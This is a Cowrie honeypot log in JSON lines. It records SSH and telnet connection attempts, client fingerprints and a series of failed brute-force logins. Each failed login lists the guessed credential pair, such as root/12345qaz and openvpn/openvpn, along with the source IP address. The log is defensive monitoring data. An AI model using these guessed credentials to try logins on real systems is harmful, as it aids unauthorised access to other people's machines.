{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:34.138661Z","src_ip":"83.168.110.85","session":"b29493d42a84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:34.508121Z","src_ip":"83.168.110.85","session":"b29493d42a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":54050,"dst_ip":"10.17.0.5","dst_port":22,"session":"42ab04643731","protocol":"ssh","message":"New connection: 80.66.85.226:54050 (10.17.0.5:22) [session: 42ab04643731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:35.567226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:35.571446Z","src_ip":"80.66.85.226","session":"42ab04643731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:35.663201Z","src_ip":"80.66.85.226","session":"42ab04643731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:35.806840Z","src_ip":"83.168.110.85","session":"b29493d42a84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qaz","message":"login attempt [root/12345qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:35.944722Z","src_ip":"80.66.85.226","session":"42ab04643731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:37.037734Z","src_ip":"80.66.85.226","session":"42ab04643731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.708452463150024,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:39.343825Z","src_ip":"176.65.139.118","session":"38061999aa69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":37444,"dst_ip":"159.203.135.109","dst_port":23,"session":"2236832649cd","protocol":"telnet","message":"New connection: 176.65.139.118:37444 (159.203.135.109:23) [session: 2236832649cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:39.468651Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":38754,"dst_ip":"10.17.0.5","dst_port":22,"session":"67becb42f830","protocol":"ssh","message":"New connection: 128.201.9.152:38754 (10.17.0.5:22) [session: 67becb42f830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:40.617514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:40.635056Z","src_ip":"128.201.9.152","session":"67becb42f830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57158,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b5c1a767649","protocol":"ssh","message":"New connection: 83.168.110.85:57158 (10.17.0.5:22) [session: 2b5c1a767649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:40.739325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:40.744431Z","src_ip":"83.168.110.85","session":"2b5c1a767649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:40.762713Z","src_ip":"128.201.9.152","session":"67becb42f830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:40.865580Z","src_ip":"83.168.110.85","session":"2b5c1a767649","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:41.229111Z","src_ip":"83.168.110.85","session":"2b5c1a767649","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"usuario1234","message":"login attempt [root/usuario1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:41.292625Z","src_ip":"128.201.9.152","session":"67becb42f830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:42.352909Z","src_ip":"83.168.110.85","session":"2b5c1a767649","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:42.419635Z","src_ip":"128.201.9.152","session":"67becb42f830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39346,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab2c1ea660fc","protocol":"ssh","message":"New connection: 109.172.54.111:39346 (159.203.135.109:22) [session: ab2c1ea660fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:44.772738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:44.783193Z","src_ip":"109.172.54.111","session":"ab2c1ea660fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:44.885771Z","src_ip":"109.172.54.111","session":"ab2c1ea660fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57436,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b8028982c8","protocol":"telnet","message":"New connection: 152.42.224.71:57436 (10.17.0.5:23) [session: a2b8028982c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:45.026860Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"sekret","message":"login attempt [root/sekret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:45.343501Z","src_ip":"109.172.54.111","session":"ab2c1ea660fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:46.447120Z","src_ip":"109.172.54.111","session":"ab2c1ea660fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49454,"dst_ip":"10.17.0.5","dst_port":22,"session":"38fbe33c2ab6","protocol":"ssh","message":"New connection: 83.168.110.85:49454 (10.17.0.5:22) [session: 38fbe33c2ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:47.595301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:47.599833Z","src_ip":"83.168.110.85","session":"38fbe33c2ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:47.720777Z","src_ip":"83.168.110.85","session":"38fbe33c2ab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:48.280650Z","src_ip":"83.168.110.85","session":"38fbe33c2ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:49.411553Z","src_ip":"83.168.110.85","session":"38fbe33c2ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.864253282546997,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:53.332796Z","src_ip":"176.65.139.118","session":"2236832649cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":54826,"dst_ip":"159.203.135.109","dst_port":23,"session":"592e0716682f","protocol":"telnet","message":"New connection: 176.65.139.118:54826 (159.203.135.109:23) [session: 592e0716682f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:53.411581Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41510,"dst_ip":"10.17.0.5","dst_port":22,"session":"09507ed11c6c","protocol":"ssh","message":"New connection: 83.168.110.85:41510 (10.17.0.5:22) [session: 09507ed11c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:54.740914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:54.745819Z","src_ip":"83.168.110.85","session":"09507ed11c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:54.870212Z","src_ip":"83.168.110.85","session":"09507ed11c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:55.238023Z","src_ip":"83.168.110.85","session":"09507ed11c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:23:56.507710Z","src_ip":"83.168.110.85","session":"09507ed11c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41518,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7fc80317da8","protocol":"ssh","message":"New connection: 83.168.110.85:41518 (10.17.0.5:22) [session: c7fc80317da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:01.487338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:01.491922Z","src_ip":"83.168.110.85","session":"c7fc80317da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:01.613711Z","src_ip":"83.168.110.85","session":"c7fc80317da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:01.979908Z","src_ip":"83.168.110.85","session":"c7fc80317da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:03.183632Z","src_ip":"83.168.110.85","session":"c7fc80317da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58612,"dst_ip":"10.17.0.5","dst_port":22,"session":"61486e3d97c3","protocol":"ssh","message":"New connection: 83.168.110.85:58612 (10.17.0.5:22) [session: 61486e3d97c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:08.534253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:08.539010Z","src_ip":"83.168.110.85","session":"61486e3d97c3","protocol":"ssh"}
